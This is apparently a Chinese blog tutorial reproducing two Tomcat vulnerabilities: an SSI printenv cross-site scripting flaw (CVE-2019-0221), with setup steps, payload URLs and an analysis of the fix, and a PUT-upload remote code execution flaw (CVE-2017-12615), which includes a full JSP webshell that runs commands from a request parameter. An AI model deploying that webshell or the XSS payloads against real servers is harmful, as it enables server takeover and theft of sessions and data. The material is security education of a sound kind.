Tomcat是一個開源的輕量級Web應用伺服器,在我們平常工作過程中接觸得非常多。代碼也非常經典,很多人為了提升自己的技術也會去閱讀學習Tomcat的源碼。但正如著名詩人李白所說的:世界上本沒有漏洞,使用的人多了,也就發現了漏洞。比如今年的2月份就爆出了存在檔案包含漏洞。今天我們選擇兩個比較直覺的Tomcat漏洞去模拟整個漏洞被攻擊的過程,以及漏洞為什麼會産生,Tomcat大神們又是如何應對的。
【攻擊一:XSS攻擊】
一、SSI技術說明
首先示範的漏洞和Tomcat的SSI功能有關,SSI是什麼
SSI技術,也叫作Serve Side Includes,SSI(伺服器端包含)是放置在HTML頁面中的指令,并在服務頁面時在伺服器上對其進行評估。它們使您可以将動态生成的内容添加到現有的HTML頁面,而不必通過CGI程式或其他動态技術來提供整個頁面。使用SSI技術檔案預設的字尾名為.shtml;
舉例:我們可以将指令放置到現有的HTML頁面中,例如:
!--#echo var="DATE_LOCAL" -->
當該頁面被執行時,将會顯示如下結果
Sunday, 22-March-2020 18:28:54 GMT
SSI最常見的用途之一:輸出CGI程式的結果,例如``命中計數器''。關于該技術更為詳細的說明參見:
http://httpd.apache.org/docs/current/howto/ssi.html二、為Tomcat開啟SSI
- 準備好JRE、tomcat環境,我選擇的是“apache-tomcat-9.0.10” (該漏洞受影響的版本有:Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39 and 7.0.0 to 7.0.93 )
- 修改conf/context.xml第19行,開啟權限
<Context privileged="true">
- 修改confweb.xml,開啟SSI Servlet。該段代碼預設是被注釋掉的,我們删除注釋即可,代碼在310-322行。
<servlet>
<servlet-name>ssi</servlet-name>
<servlet-class>
org.apache.catalina.ssi.SSIServlet
</servlet-class>
<init-param>
<param-name>buffered</param-name>
<param-value>1</param-value>
</init-param>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>expires</param-name>
<param-value>666</param-value>
</init-param>
<init-param>
<param-name>isVirtualWebappRelative</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>4</load-on-startup>
</servlet>
去掉關于ssi配置的注釋 422-425行
<servlet-mapping>
<servlet-name>ssi</servlet-name>
<url-pattern>*.shtml</url-pattern>
</servlet-mapping>
- 在根目錄下添加madashu_env.shtml(習慣性命名為printEnv.shtml)檔案,位于webapps/ROOT/ssi/
<html><head><title></title><body>
Echo: <!--#echo var="QUERY_STRING_UNESCAPED" --><br/><br/>
Env: <!--#printenv -->
</body></html>
- 啟動Tomcat即可
三、發起攻擊
- 我們輸入以下url看下效果
http://localhost:8080/ssi/madashu_env.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EHello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
- XSS注入
http://localhost:8080/ssi/madashu_env.shtml?%3Cscript%3Ealert(%27Hello%20Tomcat%EF%BC%8C%E7%A0%81%E5%A4%A7%E5%8F%94%E5%88%B0%E6%AD%A4%E4%B8%80%E6%B8%B8%27)%3C/script%3E
攻擊成功,頁面展示如下。
通過這種方式我們使使用者加載并執行攻擊者惡意制造的網頁程式,攻擊者還可能得到包括但不限于更高的權限(如執行一些操作)、私密網頁内容、會話和cookie等各種内容。
四、源碼分析
漏洞産生後,Tomcat大神們迅速修複了該漏洞,我們從Github上找到當時的代碼修複送出記錄:
點選檢視commit說真的,當時看到這段修複代碼我是驚呆了,這是什麼騷操作!!!“entity”又是什麼鬼!!!
于是接下往下翻代碼
這個地方将我們輸入的變量值直接輸出到了網頁,很明顯剛剛的entity應該是進行了轉碼。我們找到SSIMediator.java檔案,路徑
org.apache.catalina.ssi. SSIMediator
這樣我們一下子就明白過來了,當發現是“entity”編碼,會将輸入的内容進行Escape,進而避免了XSS。
估計大神們當時也是緊急出了個hotfix版本,直接把參數寫死成“entity”。還有作為Web伺服器,大神們竟然也會犯這麼低級别的錯誤,是以這也解釋了為什麼不存在0Bug的系統,哈哈!去翻看最新的
SSIPrintenv.java
檔案,已經把“entity”定義成常量了,這才專業嘛!
【攻擊二:遠端代碼執行】
接下來再簡單示範下遠端代碼執行漏洞,該漏洞為高危漏洞,即使是非預設配置,但是一旦存在漏洞,那麼攻擊者可以成功上傳 Webshell,并控制伺服器。
- 通過put方式上傳檔案,請求進行中時進行攔截:
- 生成惡意檔案,取名叫
jiansheng.jsp
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>
- 遠端上傳成功,接下來就可以愉快地在這個不屬于我們自己的tomcat裡玩耍了
- 整個代碼也是比較簡單的,可以翻看
JspServlet.java
,這裡就不做示範了。
說明:該漏洞影響範圍非常廣,從 5.x 到 9.x 全部中槍。最好的解決方式是将 conf/web.xml 中對于 DefaultServlet 的 readonly 設定為 true。
【結語】興趣是最好的老師,我們通過去看大佬們掉過的坑,寫過的代碼,站在巨人的肩膀人可以更快速地提升自己。有興趣的小夥伴可以去看看Tomcat已爆出的漏洞:
http://tomcat.apache.org/security-9.html本次示範的兩個漏洞分别是CVE-2019-0221,CVE-2017-12615。